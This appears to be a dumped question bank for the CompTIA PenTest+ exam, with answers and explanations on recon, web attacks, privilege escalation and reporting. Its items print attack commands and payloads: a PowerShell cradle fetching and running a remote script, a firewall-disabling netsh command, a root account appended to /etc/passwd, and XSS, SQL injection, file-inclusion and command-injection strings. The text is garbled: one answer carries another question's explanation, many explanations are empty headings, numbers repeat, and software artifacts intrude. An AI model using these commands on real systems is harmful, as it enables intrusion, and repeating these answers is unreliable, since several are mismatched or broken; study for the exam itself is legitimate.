

CompTIA

Exam Questions PT0-003

CompTIA PenTest+ Exam



NEW QUESTION 1

A penetration tester needs to confirm the version number of a client's web application server. Which of the following techniques should the penetration tester use?

- A. SSL certificate inspection
- B. URL spidering
- C. Banner grabbing
- D. Directory brute forcing

Answer: C

Explanation:

Banner grabbing is a technique used to gather information about a service running on an open port, which often includes the version number of the application or server. Here's why banner grabbing is the correct Answer

? Banner Grabbing: It involves connecting to a service and reading the welcome banner or response, which typically includes version information. This is a direct method to identify the version number of a web application server.

? SSL Certificate Inspection: While it can provide information about the server, it is not reliable for identifying specific application versions.

? URL Spidering: This is used for discovering URLs and resources within a web application, not for version identification.

? Directory Brute Forcing: This is used to discover hidden directories and files, not for identifying version information.

References from Pentest:

? Luke HTB: Shows how banner grabbing can be used to identify the versions of services running on a server.

? Writeup HTB: Demonstrates the importance of gathering version information through techniques like banner grabbing during enumeration phases.

Conclusion:

Option C, banner grabbing, is the most appropriate technique for confirming the version number of a web application server.

=====

NEW QUESTION 2

As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands. Which of the following techniques would the penetration tester most likely use to access the sensitive data?

- A. Logic bomb
- B. SQL injection
- C. Brute-force attack
- D. Cross-site scripting

Answer: B

Explanation:

SQL injection (SQLi) is a technique that allows attackers to manipulate SQL queries to execute arbitrary commands on a database. It is one of the most common and effective methods for accessing sensitive data in internal applications that accept unexpected user inputs. Here's why option B is the most likely technique:

? Arbitrary Command Execution: The question specifies that the internal application accepts unexpected user inputs leading to arbitrary command execution. SQL injection fits this description as it exploits vulnerabilities in the application's input handling to execute unintended SQL commands on the database.

? Data Access: SQL injection can be used to extract sensitive data from the database, modify or delete records, and perform administrative operations on the database server. This makes it a powerful technique for accessing sensitive information.

? Common Vulnerability: SQL injection is a well-known and frequently exploited vulnerability in web applications, making it a likely technique that a penetration tester would use to exploit input handling issues in an internal application.

References from Pentest:

? Luke HTB: This write-up demonstrates how SQL injection was used to exploit an internal application and access sensitive data. It highlights the process of identifying and leveraging SQL injection vulnerabilities to achieve data extraction.

? Writeup HTB: Describes how SQL injection was utilized to gain access to user credentials and further exploit the application. This example aligns with the scenario of using SQL injection to execute arbitrary commands and access sensitive data.

Conclusion:

Given the nature of the vulnerability described (accepting unexpected user inputs leading to arbitrary command execution), SQL injection is the most appropriate and likely technique that the penetration tester would use to access sensitive data. This method directly targets the input handling mechanism to manipulate SQL queries, making it the best choice.

=====

NEW QUESTION 3

A penetration tester discovers evidence of an advanced persistent threat on the network that is being tested. Which of the following should the tester do next?

- A. Report the finding.
- B. Analyze the finding.
- C. Remove the threat.
- D. Document the finding and continue testing.

Answer: A

Explanation:

Upon discovering evidence of an advanced persistent threat (APT) on the network, the penetration tester should report the finding immediately.

? Advanced Persistent Threat (APT):

? Immediate Reporting:

? Other Actions:

Pentest References:

? Incident Response: Understanding the importance of immediate reporting and collaboration with the organization's security team upon discovering critical threats like APTs.

? Ethical Responsibility: Following ethical guidelines and protocols to ensure the organization can respond effectively to significant threats.

By reporting the finding immediately, the penetration tester ensures that the organization's security team is alerted to the presence of an APT, allowing them to initiate an appropriate incident response.

=====

NEW QUESTION 4

A penetration tester completed OSINT work and needs to identify all subdomains for mydomain.com. Which of the following is the best command for the tester to use?

- A. nslookup mydomain.com » /path/to/results.txt
- B. crunch 1 2 | xargs -n 1 -l 'X' nslookup X.mydomain.com
- C. dig @8.8.8.8 mydomain.com ANY » /path/to/results.txt
- D. cat wordlist.txt | xargs -n 1 -l 'X' dig X.mydomain.com

Answer: D

Explanation:

Using dig with a wordlist to identify subdomains is an effective method for subdomain enumeration. The command cat wordlist.txt | xargs -n 1 -l 'X' dig X.mydomain.com reads each line from wordlist.txt and performs a DNS lookup for each potential subdomain.

? Command Breakdown:

? Why This is the Best Choice:

? Benefits:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 5

A penetration tester creates a list of target domains that require further enumeration. The tester writes the following script to perform vulnerability scanning across the domains:

line 1: #!/usr/bin/bash

line 2: DOMAINS_LIST = "/path/to/list.txt" line 3: while read -r i; do

line 4: nikto -h \$i -o scan-\$i.txt & line 5: done

The script does not work as intended. Which of the following should the tester do to fix the script?

- A. Change line 2 to {"domain1", "domain2", "domain3", }.
- B. Change line 3 to while true; read -r i; do.
- C. Change line 4 to nikto \$i | tee scan-\$i.txt.
- D. Change line 5 to done < "\$DOMAINS_LIST".

Answer: D

Explanation:

The issue with the script lies in how the while loop reads the file containing the list of domains. The current script doesn't correctly redirect the file's content to the loop. Changing line 5 to done < "\$DOMAINS_LIST" correctly directs the loop to read from the file.

Step-by-Step Explanation

? Original Script: DOMAINS_LIST="/path/to/list.txt" while read -r i; do

nikto -h \$i -o scan-\$i.txt & done

? Identified Problem:

? Solution: DOMAINS_LIST="/path/to/list.txt" while read -r i; do

nikto -h \$i -o scan-\$i.txt & done < "\$DOMAINS_LIST"

? Explanation

? References from Pentesting Literature:

=====

NEW QUESTION 6

A penetration tester would like to leverage a CSRF vulnerability to gather sensitive details from an application's end users. Which of the following tools should the tester use for this task?

- A. Browser Exploitation Framework
- B. Maltego
- C. Metasploit
- D. theHarvester

Answer: A

Explanation:

Cross-Site Request Forgery (CSRF) vulnerabilities can be leveraged to trick authenticated users into performing unwanted actions on a web application. The right tool for this task would help in exploiting web-based vulnerabilities, particularly those related to web browsers and interactions.

? Browser Exploitation Framework (BeEF) (Answer: A):

? Maltego (Option B):

? Metasploit (Option C):

? theHarvester (Option D):

Conclusion: The Browser Exploitation Framework (BeEF) is the most suitable tool for leveraging a CSRF vulnerability to gather sensitive details from an application's end users. It is specifically designed for browser-based exploitation, making it the best choice for this task.

NEW QUESTION 7

A tester runs an Nmap scan against a Windows server and receives the following results:

Nmap scan report for win_dns.local (10.0.0.5) Host is up (0.014s latency)

Port State Service 53/tcp open domain 161/tcp open snmp 445/tcp open smb-ds 3389/tcp open rdp

Which of the following TCP ports should be prioritized for using hash-based relays?

- A. 53
- B. 161
- C. 445

D. 3389

Answer: C

Explanation:

Port 445 is used for SMB (Server Message Block) services, which are commonly targeted for hash-based relay attacks like NTLM relay attacks.

? Understanding Hash-Based Relays:

? Prioritizing Port 445:

? Execution:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 8

Which of the following is a term used to describe a situation in which a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee?

A. Badge cloning

B. Shoulder surfing

C. Tailgating

D. Site survey

Answer: C

Explanation:

Tailgating is the term used to describe a situation where a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee.

? Tailgating:

? Physical Security:

? Pentest References:

By understanding and using tailgating, penetration testers can evaluate the effectiveness of an organization's physical security measures and identify potential vulnerabilities that could be exploited by malicious actors.

=====

NEW QUESTION 9

During a penetration test, a tester attempts to pivot from one Windows 10 system to another Windows system. The penetration tester thinks a local firewall is blocking connections. Which of the following command-line utilities built into Windows is most likely to disable the firewall?

A. certutil.exe

B. bitsadmin.exe

C. msconfig.exe

D. netsh.exe

Answer: D

Explanation:

? Understanding netsh.exe:

? Disabling the Firewall:

netsh advfirewall set allprofiles state off

? Usage in Penetration Testing:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 10

During a security assessment for an internal corporate network, a penetration tester wants to gain unauthorized access to internal resources by executing an attack that uses software to disguise itself as legitimate software. Which of the following host-based attacks should the tester use?

A. On-path

B. Logic bomb

C. Rootkit

D. Buffer overflow

Answer: C

Explanation:

A rootkit is a type of malicious software designed to provide an attacker with unauthorized access to a computer system while concealing its presence. Rootkits achieve this by modifying the host's operating system or other software to hide their existence, allowing the attacker to maintain control over the system without detection.

? Definition and Purpose:

? Mechanisms of Action:

? Detection and Prevention:

? Real-World Examples:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups on sophisticated attacks

=====

NEW QUESTION 10

During a penetration test, the tester uses a vulnerability scanner to collect information about any possible vulnerabilities that could be used to compromise the network. The tester receives the results and then executes the following command:

```
snmpwalk -v 2c -c public 192.168.1.23
```

Which of the following is the tester trying to do based on the command they used?

- A. Bypass defensive systems to collect more information.
- B. Use an automation tool to perform the attacks.
- C. Script exploits to gain access to the systems and host.
- D. Validate the results and remove false positives.

Answer: D

Explanation:

The command `snmpwalk -v 2c -c public 192.168.1.23` is used to query SNMP (Simple Network Management Protocol) data from a device. Here's the purpose in the context provided:

? SNMP Enumeration:

? Purpose of the Command:

? Comparison with Other Options:

By using `snmpwalk`, the tester is validating the results from the vulnerability scanner and removing any false positives, ensuring accurate reporting.

=====

NEW QUESTION 11

SIMULATION

A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists.

Reconnaissance data

```
root@attacker-machine:~# nmap -sC -T4 192.168.10.2
Starting Nmap 6.26SVN ( http://nmap.org ) at 2021-04-19 14:30 EST
Nmap scan report for 192.168.10.2
Host is up (0.27s latency).
Port      State      Service
22/tcp    open      ssh
23/tcp    closed    telnet
80/tcp    open      http
111/tcp   closed    rpcbind
445/tcp   open      samba
3389/tcp  closed    rdp?
Nmap done: 1 IP Address (1 host up) scanned in 5.48 seconds

root@attacker-machine:~# enum4linux -S 192.168.10.2
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b4]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[lowpriv] rid:[0x3fa]
```

Which of the following commands would **most** likely exploit the services?

- ☐ `medusa -h 192.168.10.2 -u admin -P 500-worst-passwords.txt -M rpcbind`
- ☒ `hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22`
- ☐ `crowbar -b rdp -s 192.168.10.2/32 -u administrator -C 500-worst-passwords.txt -n 1`
- ☐ `ncrack -T5 -user lowpriv -P 500-worst-passwords.txt -p telnet -g CL=1 192.168.10.2`

Part 1:

- Analyze the output and select the command to exploit the vulnerable service. Part 2:
- Analyze the output from each command.
- Select the appropriate set of commands to escalate privileges.
- Identify which remediation steps should be taken.

Part 1 ✓

Part 2

Show Question

Reset All Answers

Commands

```
root@attackermachine:~# find / -perm -2 -type f 2>/dev/null | xargs ls -l
root@attackermachine:~# cat /etc/fstab
root@attackermachine:~# find / -perm -u=s -type f 2>/dev/null | xargs ls -l
root@attackermachine:~# grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7
root@attackermachine:~# cut -d':' -f1 /etc/passwd
```

Which of the following sets of commands most likely escalates privileges?

- ☐ perl -le 'print crypt("password", "AA")'
cat /etc/passwd > /tmp/passwd
echo "root2:AA6tQYSfGxd/A:0:0:root:/root:/bin/bash" >> /tmp/passwd
cp /tmp/passwd /etc/passwd
- ☐ openssl passwd password
echo "root2:5ZOYXRfHVZ7OY:0:0:root:/root:/bin/bash" >> /etc/passwd
- ☐ echo "net user root2 password /add" > /home/lowpriv/backup.sh
echo "net localgroup administrators root2 /add" >> /home/lowpriv/backup.sh
- ☐ ./ /tmp/scripts/exploithost.sh -h 192.168.10.2 > output.txt
cat output.txt

Assuming the privileged escalation was successful, which of the following remediations should be taken? (Select two).

- ☐ Remove no_root_squash from fstab
- ☐ Remove SUID bit from cp
- ☐ Encrypt the /etc/passwd file
- ☐ Update SSH to latest version
- ☐ Strengthen password of lowpriv account
- ☐ Make backup script not world-writeable

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

The command that would most likely exploit the services is:

hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22 The appropriate set of commands to escalate privileges is:

echo "root2:5ZOYXRfHVZ7OY:0:0:root:/root:/bin/bash" >> /etc/passwd

The remediations that should be taken after the successful privilege escalation are:

? Remove the SUID bit from cp.

? Make backup script not world-writable.

Comprehensive Step-by-Step Explanation of the Simulation Part 1: Exploiting Vulnerable Service

? Nmap Scan Analysis

bash

Copy code

Port State Service 22/tcp open ssh

23/tcp closed telnet 80/tcp open http 111/tcp closed rpcbind 445/tcp open samba 3389/tcp closed rdp

Ports open are SSH (22), HTTP (80), and Samba (445).

? Enumerating Samba Shares makefile

Copy code user:[games] rid:[0x3f2] user:[nobody] rid:[0x1f5] user:[bind] rid:[0x4ba] user:[proxy] rid:[0x42] user:[syslog] rid:[0x4ba]

user:[www-data] rid:[0x42a] user:[root] rid:[0x3e8] user:[news] rid:[0x3fa] user:[lowpriv] rid:[0x3fa] We identify a user lowpriv.

? Selecting Exploit Command

? Executing the Hydra Command

Part 2: Privilege Escalation and Remediation

? Finding SUID Binaries and Configuration Files

? Selecting Privilege Escalation Command

? Executing the Privilege Escalation Command

? Remediation Steps Post-Exploitation

Execution and Verification

? Verifying Hydra Attack:

? Verifying Privilege Escalation:

? Implementing Remediation:

By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.

NEW QUESTION 12

A penetration tester gains access to a domain server and wants to enumerate the systems within the domain. Which of the following tools would provide the best oversight of domains?

- A. Netcat
- B. Wireshark
- C. Nmap
- D. Responder

Answer: C

Explanation:

? Installation: sudo apt-get install nmap

? Basic Network Scanning: nmap -sP 192.168.1.0/24
? Service and Version Detection: nmap -sV 192.168.1.10
? Enumerating Domain Systems:
nmap -p 445 --script=smb-enum-domains 192.168.1.10
? Advanced Scanning Options: nmap -sS 192.168.1.10
? uk.co.certification.simulator.questionpool.PList@623a95bc nmap -A 192.168.1.10
? Real-World Example:
? References from Pentesting Literature: References:
? Penetration Testing - A Hands-on Introduction to Hacking
? HTB Official Writeups
=====

NEW QUESTION 15

Given the following script:

```
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1] If ($1 -eq "administrator") {  
echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell - noprofile -}  
Which of the following is the penetration tester most likely trying to do?
```

- A. Change the system's wallpaper based on the current user's preferences.
- B. Capture the administrator's password and transmit it to a remote server.
- C. Conditionally stage and execute a remote script.
- D. Log the internet browsing history for a systems administrator.

Answer: C

Explanation:

? Script Breakdown:
? Purpose:
? Why This is the Best Choice:
? References from Pentesting Literature: References:
? Penetration Testing - A Hands-on Introduction to Hacking
? HTB Official Writeups
=====

NEW QUESTION 17

A tester performs a vulnerability scan and identifies several outdated libraries used within the customer SaaS product offering. Which of the following types of scans did the tester use to identify the libraries?

- A. IAST
- B. SBOM
- C. DAST
- D. SAST

Answer: D

Explanation:

kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here's why option B is correct:
? Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.
? Network Configuration Errors: While kube-hunter might identify some network-related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.
? Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.
? Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.
References from Pentest:
? Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.
? Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.
Conclusion:
Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.
=====

NEW QUESTION 22

After a recent penetration test was conducted by the company's penetration testing team, a systems administrator notices the following in the logs:

```
2/10/2023 05:50AM C:\users\mgranite\schtasks /query  
2/10/2023 05:53AM C:\users\mgranite\schtasks /CREATE /SC DAILY  
Which of the following best explains the team's objective?
```

- A. To enumerate current users
- B. To determine the users' permissions
- C. To view scheduled processes
- D. To create persistence in the network

Answer: D

Explanation:

The logs indicate that the penetration testing team's objective was to create persistence in the network.
? Log Analysis:
? Persistence:
? Other Options:
Pentest References:
? Post-Exploitation: Establishing persistence is a key objective after gaining initial access to ensure continued access.

? Scheduled Tasks: Utilizing Windows Task Scheduler to run scripts or programs automatically at specified times as a method for maintaining access. By creating scheduled tasks, the penetration testing team aims to establish persistence, ensuring they can retain access to the system over time.
=====

NEW QUESTION 26

HOTSPOT

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious. INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

HTTP Request Payload Table

Payloads

#inner-tab"><script>alert(1)</script>

Vulnerability Type

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Remediation

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , ' < , : , > , - ,

item=widget';waitfor%20delay%20'00:00:20';--

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , ' < , : , > , - ,

item=widget%20union%20select%20null,null,@@version;--

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , ' < , : , > , - ,

search=Bob"%3e%3cimg%20src%3da%20onerror%3dalert(1)%3e

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , ' < , : , > , - ,

item=widget'+convert(int,@@version)+'

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , ' < , : , > , - ,

site=www.exa'ping%20-c%2010%20localhost'mple.com

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , ' < , : , > , - ,

redir=http:%2f%2fwww.malicious-site.com

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , ' < , : , > , - ,

logfile=%2fetc%2fpasswd%00

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , ' < , : , > , - ,

lookup=\$(whoami)

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , ' < , : , > , - ,

logFile=http:%2f%2fwww.malicious-site.com%2fshell.txt

▼
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

▼
Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ' , ; , \$, [,] , (,) ,
Input Sanitization * , ' < , : , > , - ,

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

- * 1. Reflected XSS - Input sanitization (<> ...)
- * 2. Sql Injection Stacked - Parameterized Queries
- * 3. DOM XSS - Input Sanitization (<> ...)
- * 4. Local File Inclusion - sandbox req
- * 5. Command Injection - sandbox req
- * 6. SQLi union - paramtrized queries
- * 7. SQLi error - paramtrized queries
- * 8. Remote File Inclusion - sandbox
- * 9. Command Injection - input sanit \$
- * 10. URL redirect - prevent external calls

NEW QUESTION 28

Which of the following is most important when communicating the need for vulnerability remediation to a client at the conclusion of a penetration test?

- A. Articulation of cause
- B. Articulation of impact
- C. Articulation of escalation
- D. Articulation of alignment

Answer: B

Explanation:

When concluding a penetration test, effectively communicating the need for vulnerability remediation is crucial. Here??s why the articulation of impact is the most important aspect:

? Articulation of Cause (Option A):

? Articulation of Impact (Option B):

? Articulation of Escalation (Option C):

? Articulation of Alignment (Option D):

Conclusion: Articulating the impact of vulnerabilities is the most crucial element when communicating the need for remediation. By clearly explaining the potential risks and consequences, penetration testers can effectively convey the urgency and importance of addressing the discovered issues, thus motivating clients to take prompt and appropriate action.

NEW QUESTION 30

Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?

- A. Preserving artifacts
- B. Reverting configuration changes
- C. Keeping chain of custody
- D. Exporting credential data

Answer: A

Explanation:

? Preserving Artifacts:

? Other Tasks:

Pentest References:

? Reporting: Comprehensive documentation and reporting of findings are crucial parts of penetration testing.

? Evidence Handling: Properly preserving and handling artifacts ensure that the integrity of the test results is maintained and can be used for future reference.

By preserving artifacts, the penetration tester ensures that all key outputs from the test are retained for analysis, reporting, and future reference.

=====

NEW QUESTION 35

During a penetration test, a junior tester uses Hunter.io for an assessment and plans to review the information that will be collected. Which of the following describes the information the junior tester will receive from the Hunter.io tool?

- A. A collection of email addresses for the target domain that is available on multiple sources on the internet
- B. DNS records for the target domain and subdomains that could be used to increase the external attack surface
- C. Data breach information about the organization that could be used for additional enumeration
- D. Information from the target's main web page that collects usernames, metadata, and possible data exposures

Answer: A

Explanation:

Hunter.io is a tool used for finding professional email addresses associated with a domain. Here??s what it provides:

? Functionality of Hunter.io:

? Comparison with Other Options:

Hunter.io is specifically designed to collect and validate email addresses for a given domain, making it the correct answer.

=====

NEW QUESTION 40

Given the following statements:

? Implement a web application firewall.

? Upgrade end-of-life operating systems.

? Implement a secure software development life cycle.

In which of the following sections of a penetration test report would the above statements be found?

A. Executive summary

B. Attack narrative

C. Detailed findings

D. Recommendations

Answer: D

Explanation:

The given statements are actionable steps aimed at improving security. They fall under the recommendations section of a penetration test report. Here's why option D is correct:

? Recommendations: This section of the report provides specific actions that should

be taken to mitigate identified vulnerabilities and improve the overall security posture. Implementing a WAF, upgrading operating systems, and implementing a secure SDLC are recommendations to enhance security.

? Executive Summary: This section provides a high-level overview of the findings and their implications, intended for executive stakeholders.

? Attack Narrative: This section details the steps taken during the penetration test, describing the attack vectors and methods used.

? Detailed Findings: This section provides an in-depth analysis of each identified vulnerability, including evidence and technical details.

References from Pentest:

? Forge HTB: The report's recommendations section suggests specific measures to address the identified issues, similar to the given statements.

? Writeup HTB: Highlights the importance of the recommendations section in providing actionable steps to improve security based on the findings from the assessment.

Conclusion:

Option D, recommendations, is the correct section where the given statements would be found in a penetration test report.

=====

NEW QUESTION 44

A penetration tester performs an assessment on the target company's Kubernetes cluster using kube-hunter. Which of the following types of vulnerabilities could be detected with the tool?

A. Network configuration errors in Kubernetes services

B. Weaknesses and misconfigurations in the Kubernetes cluster

C. Application deployment issues in Kubernetes

D. Security vulnerabilities specific to Docker containers

Answer: B

Explanation:

kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here's why option B is correct:

? Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.

? Network Configuration Errors: While kube-hunter might identify some network-related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.

? Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.

? Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.

References from Pentest:

? Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.

? Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.

Conclusion:

Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.

=====

NEW QUESTION 48

A penetration tester enumerates a legacy Windows host on the same subnet. The tester needs to select exploit methods that will have the least impact on the host's operating stability. Which of the following commands should the tester try first?

A. responder -I eth0 john responder_output.txt <rdp to target>

B. hydra -L administrator -P /path/to/pwlist.txt -t 100 rdp://<target_host>

C. msf > use <module_name> msf > set <options> msf > set PAYLOAD windows/meterpreter/reverse_tcp msf > run

D. python3 ./buffer_overflow_with_shellcode.py <target> 445

Answer: A

Explanation:

Responder is a tool used for capturing and analyzing NetBIOS, LLMNR, and MDNS queries to perform various man-in-the-middle (MITM) attacks. It can be used to capture hashed credentials, which can then be cracked offline. Using Responder has the least impact on the host's operating stability compared to more aggressive methods like buffer overflow attacks or payload injections.

? Understanding Responder:

? Command Breakdown:

? Why This is the Best Choice:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 52

A penetration tester needs to test a very large number of URLs for public access. Given the following code snippet:

```
1 import requests
2 import pathlib
3
4 for url in pathlib.Path("urls.txt").read_text().split("\n"):
5     response = requests.get(url)
6     if response.status == 401:
7         print("URL accessible")
```

Which of the following changes is required?

- A. The condition on line 6
- B. The method on line 5
- C. The import on line 1
- D. The delimiter in line 3

Answer: A

Explanation:

? Script Analysis:

? Error Identification:

? Correct Condition:

? Corrected Script:

Pentest References:

? In penetration testing, checking the accessibility of multiple URLs is a common task, often part of reconnaissance. Identifying publicly accessible resources can reveal potential entry points for further testing.

? The requests library in Python is widely used for making HTTP requests and handling responses. Understanding HTTP status codes is crucial for correctly interpreting the results of these requests.

By changing the condition to check for a 200 status code, the script will correctly identify and print URLs that are publicly accessible.

=====

NEW QUESTION 57

During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?

- A. KARMA attack
- B. Beacon flooding
- C. MAC address spoofing
- D. Eavesdropping

Answer: C

Explanation:

MAC address spoofing involves changing the MAC address of a network interface to mimic another device on the network. This technique is often used to bypass network access controls and gain unauthorized access to a network.

? Understanding MAC Address Spoofing:

? Purpose:

? Tools and Techniques:

Step-by-Step Explanationifconfig eth0 hw ether 00:11:22:33:44:55

? uk.co.certification.simulator.questionpool.PList@55bce337

? Impact:

? Detection and Mitigation:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups Top of Form

Bottom of Form

=====

NEW QUESTION 60

A penetration tester is testing a power plant's network and needs to avoid disruption to the grid. Which of the following methods is most appropriate to identify vulnerabilities in the network?

- A. Configure a network scanner engine and execute the scan.
- B. Execute a testing framework to validate vulnerabilities on the devices.
- C. Configure a port mirror and review the network traffic.
- D. Run a network mapper tool to get an understanding of the devices.

Answer: C

Explanation:

When testing a power plant's network and needing to avoid disruption to the grid, configuring a port mirror and reviewing the network traffic is the most appropriate method to identify vulnerabilities without causing disruptions.

? Port Mirroring:

? Avoiding Disruption:

? Other Options:

Pentest References:

? Passive Monitoring: Passive techniques such as port mirroring are essential in environments where maintaining operational integrity is critical.

? Critical Infrastructure Security: Understanding the need for non-disruptive methods in critical infrastructure penetration testing to ensure continuous operations.

By configuring a port mirror and reviewing network traffic, the penetration tester can identify vulnerabilities in the power plant's network without risking disruption to the grid.

=====

NEW QUESTION 61

During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?

- A. SQL injection
- B. SSRF
- C. XSS
- D. Server-side template injection

Answer: C

Explanation:

Cross-Site Scripting (XSS) is an attack that involves injecting malicious scripts into web pages viewed by other users. Here's why option C is correct:

? XSS (Cross-Site Scripting): This attack involves injecting JavaScript into a web application, which is then executed by the user's browser. The scenario describes injecting a JavaScript prompt, which is a typical XSS payload.

? SQL Injection: This involves injecting SQL commands to manipulate the database and does not relate to JavaScript injection.

? SSRF (Server-Side Request Forgery): This attack tricks the server into making requests to unintended locations, which is not related to client-side JavaScript execution.

? Server-Side Template Injection: This involves injecting code into server-side templates, not JavaScript that executes in the user's browser.

References from Pentest:

